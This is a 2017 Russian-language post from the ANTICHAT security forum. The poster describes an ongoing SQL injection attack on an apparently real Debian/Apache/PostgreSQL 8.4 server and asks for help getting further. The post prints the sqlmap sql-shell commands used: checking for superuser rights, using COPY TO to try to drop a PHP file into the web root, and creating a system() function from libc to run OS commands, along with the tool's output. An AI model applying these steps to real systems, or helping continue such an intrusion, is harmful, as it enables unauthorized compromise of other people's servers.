Postgres Injection + PRIV — ANTICHAT Forum

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

24.03.2017, 23:20

ACat

Guest

Сообщений: n/a

Провел на форуме:
60408

Репутация: 0

Всем доброго времени суток.

Решил, что эта ситуация тянет на отдельный топик :3

И так, задача:

linux Debian 4.4.5-8, 64-bit

Apache/2.2.16 (Debian)

PostgreSQL 8.4.13

Код:

Code:
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user

postgres, true, true, true

Код:

Code:
SELECT mycol FROM mytable limit 1

Код:

Code:
sql-shell> COPY mytable (mycol) TO '/var/www/landing/Utils/Common/vendor/php-curl-class/php-curl-class/1.php';
[13:12:07] [INFO] fetching SQL query output: 'COPY mytable (mycol) TO '/var/www/landing/Utils/Common/vendor/php-curl-class/php-curl-class/1.php''
[13:12:07] [INFO] retrieving the length of query output
[13:12:07] [INFO] retrieved:
[13:12:08] [INFO] retrieved:
sql-shell>

Not Found

The requested URL /landing/Utils/Common/vendor/php-curl-class/php-curl-class/1.php was not found on this server.

Смею предположить, что нету прав на запись от юзера базы данных в папочки юзера веб-сервера.

Пробуем code exec:

Код:

Code:
sql-shell> CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;:  'NULL'
sql-shell> SELECT system('id');
[13:17:35] [INFO] fetching SQL SELECT statement query output: 'SELECT system("id")'
[13:17:36] [INFO] retrieving the length of query output
[13:17:36] [INFO] retrieved:
[13:17:36] [INFO] retrieved:
sql-shell>

Еще на сервере в открытом доступе лежат php-curl-class если это может как-то помочь.